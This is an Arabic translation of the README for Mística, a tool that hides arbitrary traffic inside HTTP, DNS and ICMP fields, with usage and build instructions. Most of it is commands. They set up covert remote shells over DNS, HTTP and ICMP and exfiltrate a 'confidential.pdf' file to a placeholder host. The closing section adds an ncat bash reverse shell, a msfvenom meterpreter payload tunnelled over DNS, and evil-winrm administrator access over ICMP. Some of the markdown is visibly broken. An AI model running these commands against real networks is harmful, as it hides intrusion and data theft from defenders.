
سكين الجيش السويسري مفتوح المصدر للاتصال التعسفي عبر بروتوكولات التطبيقات
![]() |
|---|
| شعار Mística من تصميم JoelGMSec |
Mística هي أداة تسمح بتضمين البيانات في حقول بروتوكول طبقة التطبيق، بهدف إنشاء قناة ثنائية الاتجاه للاتصالات التعسفية. حالياً، تم تنفيذ التضمين في بروتوكولات HTTP وHTTPS وDNS وICMP، لكن من المتوقع إضافة المزيد من البروتوكولات في المستقبل القريب.
تمتلك Mística تصميمًا معياريًا، مبنيًا حول بروتوكول نقل مخصص يُسمى SOTP: بروتوكول النقل البسيط فوق الشبكة. يتم تشفير البيانات، وتقسيمها إلى أجزاء، ووضعها في حزم SOTP. تُرمَّز حزم SOTP وتُضمَّن في الحقل المطلوب من بروتوكول التطبيق، ثم تُرسل إلى الطرف الآخر.
الهدف من طبقة SOTP هو تقديم بروتوكول نقل ثنائي عام مع أقل حمل إضافي. يمكن إخفاء حزم SOTP أو تضمينها بسهولة في بروتوكولات التطبيق المشروعة. كذلك تضمن SOTP استلام الطرف الآخر للحزم، وتشفر البيانات باستخدام RC4 (قد يتغير هذا في المستقبل)، وتضمن تدفق المعلومات في كلا الاتجاهين بشفافية باستخدام آلية استقصاء.
تتفاعل الوحدات مع طبقة SOTP لأغراض مختلفة:
تعمل وحدات الغلاف والطبقة العليا معًا لبناء تطبيقات مخصصة، مثل إعادة توجيه الإدخال عبر DNS أو إعادة توجيه المنافذ عن بُعد عبر HTTP.
يسمح التصميم المعياري لـ Mística بتطوير وحدات جديدة بسهولة. كما يمكن للمستخدم بسهولة اشتقاق وحدات حالية لاستخدام حقل أو ترميز مخصص، أو تعديل سلوك وحدة طبقة عليا.
يوجد قطعتان رئيسيتان من البرامج:
ms.py): يستخدم وحدات تعمل كخادم لبروتوكول طبقة التطبيق المطلوب (HTTP، HTTPS، DNS، ICMP...). وهو مصمم أيضًا بطريقة تسمح بتشغيل عدة خوادم ووحدات غلاف وطبقة عليا في نفس الوقت باستخدام نسخة واحدة من ms.py، رغم أن هذه الميزة لم تُطبق بالكامل بعد.mc.py): يستخدم وحدات تعمل كعميل لبروتوكول طبقة التطبيق المطلوب (HTTP، HTTPS، DNS، ICMP...). يمكنه استخدام وحدة طبقة عليا واحدة ووحدة غلاف واحدة فقط في نفس الوقت.يمكنك مشاهدة بعض العروض التوضيحية لـ Mística في قائمة التشغيل هذه.
المشروع له تبعيات قليلة جدًا. حاليًا:
dnslib.```
python3.7 -m pip install pip --user
pip3.7 install dnslib --userإذا كنت لا ترغب في تثبيت بايثون على نظامك، يمكنك استخدام إحدى الإصدارات المحمولة التالية:
- https://www.anaconda.com/distribution/#download-section (لنظام ويندوز ولينكس وماك)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (فقط لنظام ويندوز)
## الوحدات الحالية
وحدات التراكب:
- `io`: يقرأ من الإدخال القياسي، ويرسل عبر اتصال SOTP. يقرأ من اتصال SOTP، ويطبع إلى الإخراج القياسي
- `shell`: ينفذ الأوامر المستلمة عبر اتصال SOTP ويعيد الناتج. متوافق مع وحدة io.
- `tcpconnect`: يتصل بمنفذ TCP. يقرأ من المقبس، ويرسل عبر اتصال SOTP. يقرأ من اتصال SOTP، ويرسل عبر المقبس.
- `tcplisten`: يرتبط بمنفذ TCP. يقرأ من المقبس، ويرسل عبر اتصال SOTP. يقرأ من اتصال SOTP، ويرسل عبر المقبس.
وحدات التغليف:
- `dns`: يقوم بتشفير/فك تشفير البيانات في استفسارات/استجابات DNS باستخدام طرق مختلفة
- `http`: يقوم بتشفير/فك تشفير البيانات في طلبات/استجابات HTTP أو HTTPS باستخدام طرق مختلفة
- `icmp`: يقوم بتشفير/فك تشفير البيانات في طلبات/استجابات الصدى ICMP في قسم البيانات
## الاستخدام
`ms.py`: خادم Mística
إليك شكل رسالة المساعدة:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]
Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair in single-handler mode. format:
'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module (Single-handler
mode)
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module (Single-handler
mode)
-s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
args for the selected wrap server (Single-handler
mode)
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
يوجد وضعان رئيسيان في خادم Mística:
ms.py مع معاملات، يسمح لوحدة تراكب واحدة بالتفاعل مع وحدة غلاف واحدة.ms.py بدون معاملات، يدخل المستخدم إلى وحدة تحكم تفاعلية، حيث يمكن تشغيل وحدات تراكب وغلاف متعددة. ستكون هذه الوحدات قادرة على التفاعل مع بعضها البعض، مع قيود قليلة.mc.py: عميل Mística
إليك كيف تبدو رسالة المساعدة:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]
Mistica client.
optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)
### المعلمات
- يُستخدم `-l, --list` إما لسرد كل الوحدات (`all`)، أو سرد نوع واحد فقط: (`overlays` أو `wrappers`) أو سرد المعلمات التي يمكن لوحدة معينة قبولها من خلال `-o` أو `-w` أو `-s`.
- يُستخدم `-k, --key` لتحديد المفتاح الذي سيتم استخدامه لتشفير اتصال التغطية. يجب أن يكون هذا المفتاح هو نفسه في كل من العميل والخادم وهو إجباري حاليًا. قد يتغير هذا في المستقبل إذا تم تنفيذ مخططات مشاركة الأسرار.
- يُستخدم `-m, --modules` لتحديد زوج الوحدات الذي تريد استخدامه. يجب عليك استخدام التنسيق التالي: **وحدة التغطية** + **:** + **وحدة التغليف**. هذه المعلمة إجبارية أيضًا.
- يتيح لك `-w, --wrapper-args` تحديد تكوين معين لوحدة التغليف.
- يتيح لك `-o, --overlay-args` تحديد تكوين معين لوحدة التغطية.
- `-s, --wrap-server-args` موجود فقط في `ms.py`. يتيح لك تحديد تكوين معين لخادم التغليف. تعتمد كل وحدة تغليف على خادم تغليف، ويمكن ضبط كلا التكوينين.
## أمثلة واستخدام متقدم
> تذكر أنه يمكنك رؤية جميع المعلمات المقبولة لوحدة ما عن طريق كتابة `-l <module_name>` (مثل `./ms.py -l dns`). وتذكر أيضًا استخدام مفتاح طويل ومعقد لحماية اتصالاتك!
### HTTP
لتوضيح الطرق المختلفة لتغليف HTTP، سيتم استخدام وحدة تغطية إعادة توجيه الإدخال/الإخراج (`io`) في كل مثال.
- طريقة HTTP GET مع ترميز b64 في URI الافتراضي، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
- خادم Mística: `./ms.py -m io:http -k "rc4testkey"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey"`
- طريقة HTTP GET مع ترميز b64 في URI الافتراضي، **مع تحديد عنوان IP والمنفذ**.
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- طريقة HTTP GET مع ترميز b64 في **URI مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- طريقة HTTP GET مع ترميز b64 في **رأس مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- طريقة HTTP **POST** مع ترميز b64 في الحقل الافتراضي، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- طريقة HTTP **POST** مع ترميز b64 في **رأس مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- طريقة HTTP **POST** مع ترميز b64 في **حقل مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- طريقة HTTP **POST** مع ترميز b64 في **حقل مخصص، مع حجم حزمة مخصص، وإعادة محاولات مخصصة، ووقت انتظار مخصص، وتحديد IP والمنفذ**:
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- طريقة HTTP **POST** مع ترميز b64 في **حقل مخصص**، **باستخدام قالب خطأ مخصص**، باستخدام localhost والمنفذ 8080 (القيم الافتراضية).
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- طريقة HTTP GET مع ترميز b64 في URI الافتراضي، باستخدام **رمز استجابة HTTP مخصص** وباستخدام localhost والمنفذ 8080 (القيم الافتراضية):
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- طريقة HTTPS GET مع ترميز b64 في URI الافتراضي باستخدام المنفذ 443. يجب إنشاء شهادة في خادم Mistica لاستخدام خيار ssl؛ يحتاج عميل Mistica فقط إلى تلقي علامة ssl:
- خادم Mística:
- `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
- `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- طريقة HTTP GET مع ترميز b64 في URI الافتراضي، باستخدام خادم وكيل في عميل Mistica (يمكن استخدامه في البيئات التي يجب أن يمر فيها اتصال HTTP بالضرورة عبر وكيل مؤسسي، غير محدد في تكوين الكمبيوتر). اختبر المثال التالي باستخدام Burpsuite:
- خادم Mística: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
- عميل Mística: `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`
### DNS
لتوضيح الطرق المختلفة لتغليف DNS، سيتم استخدام وحدة تغطية إعادة توجيه الإدخال/الإخراج (`io`) في كل مثال.
- استعلام TXT، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
- خادم Mística: `./ms.py -m io:dns -k "rc4testkey"`
- عميل Mística: `./mc.py -m io:dns -k "rc4testkey"`
- استعلام NS، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
- خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
- عميل Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- استعلام CNAME، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
- خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
- عميل Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- استعلام MX، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
- خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
- عميل Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- استعلام SOA، باستخدام localhost والمنفذ 5353 (القيم الافتراضية):
- خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
- عميل Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- استعلام TXT، باستخدام localhost والمنفذ 5353 (القيم الافتراضية) و**نطاقات مخصصة**:
- خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
- عميل Mística:
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- استعلام TXT، مع تحديد المنفذ واسم المضيف:
- خادم Mística: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
- عميل Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- استعلام TXT، باستخدام نطاقات فرعية متعددة:
- خادم Mística: `./ms.py -m io:dns -k "rc4testkey"`
- عميل Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`
### ICMP
يقوم نواة لينكس، عند استلام حزمة طلب صدى ICMP، تلقائيًا بالرد بحزمة رد صدى ICMP (دون إعطائنا أي خيار للرد). لهذا السبب، يجب علينا تعطيل استجابات ICMP لنتمكن من إرسال استجاباتنا الخاصة التي تحتوي على بيانات تختلف عن تلك التي أرسلها العميل. للقيام بذلك، نقوم بما يلي:
تعطيل الاستجابات التلقائية لـ ICMP بواسطة النواة (*مطلوب صلاحية الجذر*) عن طريق تحرير ملف `/etc/sysctl.conf`:
- أضف السطر التالي إلى ملف /etc/sysctl.conf الخاص بك:```
net.ipv4.icmp_echo_ignore_all=1
ثم، قم بتشغيل: sysctl -p لتطبيق التغييرات.
الآن، لتوضيح الطرق المختلفة لتغليف ICMP، سيتم استخدام وحدة إعادة التوجيه والإخفاء IO (io) في كل مثال.
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"يمكنك الحصول على تنفيذ أوامر عن بعد باستخدام mística عبر قناة مخصصة، من خلال دمج وحدات io و shell. أمثلة:
تنفيذ أوامر على نظام العميل عبر DNS باستخدام استعلام TXT.
sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"تنفيذ أوامر على نظام الخادم عبر HTTP باستخدام طلبات GET:
./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"تنفيذ أوامر على نظام العميل عبر ICMP:
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"استخراج الملفات عبر HTTP باستخدام وحدة IO وعوامل إعادة التوجيه:
./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdftype confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv127.0.0.1:4444 على العميل إلى العنوان 127.0.0.1:5555 على الخادم. يجب أن يكون هناك شيء يستمع بالفعل على 5555.
./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"127.0.0.1:4444 على الخادم إلى العنوان 127.0.0.1:5555 على العميل. يجب أن يكون هناك شيء يستمع بالفعل على 5555.
sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"تم إنشاء صورة Docker للاستخدام المحلي. هذا يغنينا عن تثبيت Python أو dnslib فقط إذا أردنا اختبار الأداة، كما أنها مفيدة جداً للتصحيح أو ما شابه لأننا نتجنب الضوضاء الناتجة عن التطبيقات المحلية الأخرى. لبنائها، نتبع ببساطة هذه الخطوات:
* ثانيًا، أنشئ الشبكة باستخدام:```
sudo docker network create misticanw
* رابعًا، قم بتشغيل العميل باستخدام:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
ميسِتيكا هي أداة مطورة بلغة بايثون، مما يعني أنه نظريًا يمكن تجميعها.
لتجميع الأداة سنستخدم Pyinstaller، هذه الأداة ستسمح لنا بإنشاء ملف ثنائي (اعتمادًا على نظام التشغيل الذي نعمل عليه)، وهذا يعني أنه لا يمكننا القيام بـ التجميع المتقاطع كما في اللغات الأخرى مثل C، C++، Golang، Rust، إلخ. نحن نعمل على طريقة لجعل هذا ممكنًا، ومع ذلك، نترك لكم أمر Pyinstaller الذي سيسمح لنا بتجميع ميسِتيكا على أي نظام تشغيل:
بما أن عميل ميسِتيكا ليس له تبعيات، يمكن تجميعه مباشرة باستخدام Pyinstaller. لتجميعه اتبع الخطوات التالية:
* والآن، قم بتجميع Mística Client باستخدام الأمر التالي:```
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
mc.py
إذا كنت ترغب في تجميع خادم Mística، فأنت بحاجة إلى تثبيت مكتبة Dnslib باستخدام Pip بشكل عام (تذكر أنها الاعتماد الوحيد لـ Mística، وفقط لخادم Mística). للقيام بذلك، اتبع الخطوات التالية:
pip install dnslib (بدون العلامة "--user"، بهذه الطريقة سيتم تثبيتها بشكل عام على النظام، وإلا فلن يتمكن pyinstaller من إضافتها كاستيراد مخفي. تتطلب هذه الخطوة صلاحيات المسؤول)pip install pyinstaller.## العمل المستقبلي
- طريقة التجميع المتقاطع لتتمكن من تجميع Mistica لأنظمة تشغيل مختلفة دون الحاجة إلى القيام بذلك من نظام التشغيل الهدف.
- توليد مفاتيح Diffie-Hellman الشفافة لبروتوكول SOTP
- وضع المعالجة المتعددة: وضع تفاعلي لـ `ms.py`. سيسمح هذا للمستخدم بدمج أكثر من طبقة مع أكثر من غلاف وأكثر من وحدة تغليف لكل خادم تغليف.
- توثيق تطوير الوحدات لتطوير وحدات مخصصة. لا يُنصح بذلك حاليًا حيث أن مواصفات الوحدات لا تزال قيد التطوير.
- الوحدات التالية:
- غلاف SMB
- طبقة RAT ومعالج RAT
- طبقة وكيل SOCKS وإعادة توجيه المنفذ الديناميكي
- طبقة نقل الملفات
- غلاف RDP
- قوالب HTTP مخصصة لتغليف أكثر تعقيدًا
- توثيق مواصفات بروتوكول SOTP للعملاء أو الخوادم المخصصة. لا يُنصح بذلك حاليًا حيث أن البروتوكول لا يزال قيد التطوير.
## المؤلفون والترخيص
تم تطوير هذا المشروع بواسطة Carlos Fernández Sánchez و Raúl Caro Teixidó. تم إصدار الكود بموجب رخصة GNU General Public License v3.
يستخدم هذا المشروع كودًا مفتوح المصدر من طرف ثالث، خاصة:
- [Bitstring](https://github.com/scott-griffiths/bitstring) تم تطويره بواسطة Scott Griffiths.
- [A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) تم تطويره بواسطة David Buchanan.
- [A DNS Client without dependencies](https://github.com/vlasebian/simple-dns-client) تم تطويره بواسطة Vlad Vitan.
- [A ICMP Server and Client without dependencies](https://github.com/rcaroncd/ICMPack/) تم تطويره بواسطة Raul Caro.
nc -nlvp 5555./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"ncat -nve /bin/bash 127.0.0.1 4444meterpreter_reverse_tcp (لينكس) عبر DNS باستخدام إعادة توجيه المنافذ. تم إنشاء الحمولة باستخدام msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin
msfconsole على الخادم وأطلق المعالج باستخدام: handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./meterpreter_reverse_tcp_localhost_4444.bin./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vvpython.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vvevil-winrm -u Administrador -i 127.0.0.1 -P 5555